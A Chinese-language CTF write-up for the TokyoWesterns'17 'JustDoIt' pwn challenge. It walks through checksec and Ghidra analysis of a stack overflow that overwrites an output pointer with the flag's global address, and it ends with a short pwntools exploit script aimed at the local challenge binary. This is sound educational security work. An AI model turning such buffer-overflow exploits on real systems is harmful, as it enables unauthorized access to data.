TokyoWesterns'17: JustDoIt 题解
这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:
https://guyinatuxedo.github.io/index.html
其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。
二进制文件信息收集
首先用 checksec (pwntools 这个 python 库自带的命令行工具)命令来查看文件防护措施
可以看到这个题目的程序没有 canary,随便栈溢出
逆向分析
PS: 本人为了方便逆向,修改了部分变量的名字
把程序拖入 ghidra 可以看到一个程序的逻辑。这边比较关键的是,程序会在结尾输出一个指针指向的字符串。
然后我们注意到这段代码,会把 flag 文件中的内容存入一个全局变量中。
因为全局变量在内存中的位子是定死的,所以我们可以通过 ghidra 来找到全局变量运行的时候在内存中的地址。双击 flag 这个变量,可以看到这个全局变量在内存中的地址
可以看到是 0x0804a080,如果我们把这个地址写入那个 output_message 指针变量中,应该就能输出 flag 了。
通过 ghidra 观察这个程序的栈的布局,看看是否有这种可能行
发现如果 user_input 溢出的时候,如果溢出的足够多,是有机会覆盖到 output_message 的。
同时可以看到 output_message 和 user_input 差了 0x28 - 0x14 = 0x14 = 20 个字节,然后我们可以看到读取 user_input 的那条语句中 pcVar1 = fgets(user_input,32,stdin);
程序读入了 32 个字节,这就足够我们通过这条语句覆盖掉 output_message 中的内容了
攻击脚本
from pwn import *
from pwnlib import *
flag_addr = 0x0804a080
if __name__ == '__main__':
target = process('./just_do_it')
# 输出数据,直到提示输入密码
print(target.recvuntil('password.'))
# 构造 payload
payload = b''
payload += b'a' * 20
payload += p32(flag_addr)
# 发送 payload
target.sendline(payload)
# 接管系统的所有标准输入输出
target.interactive()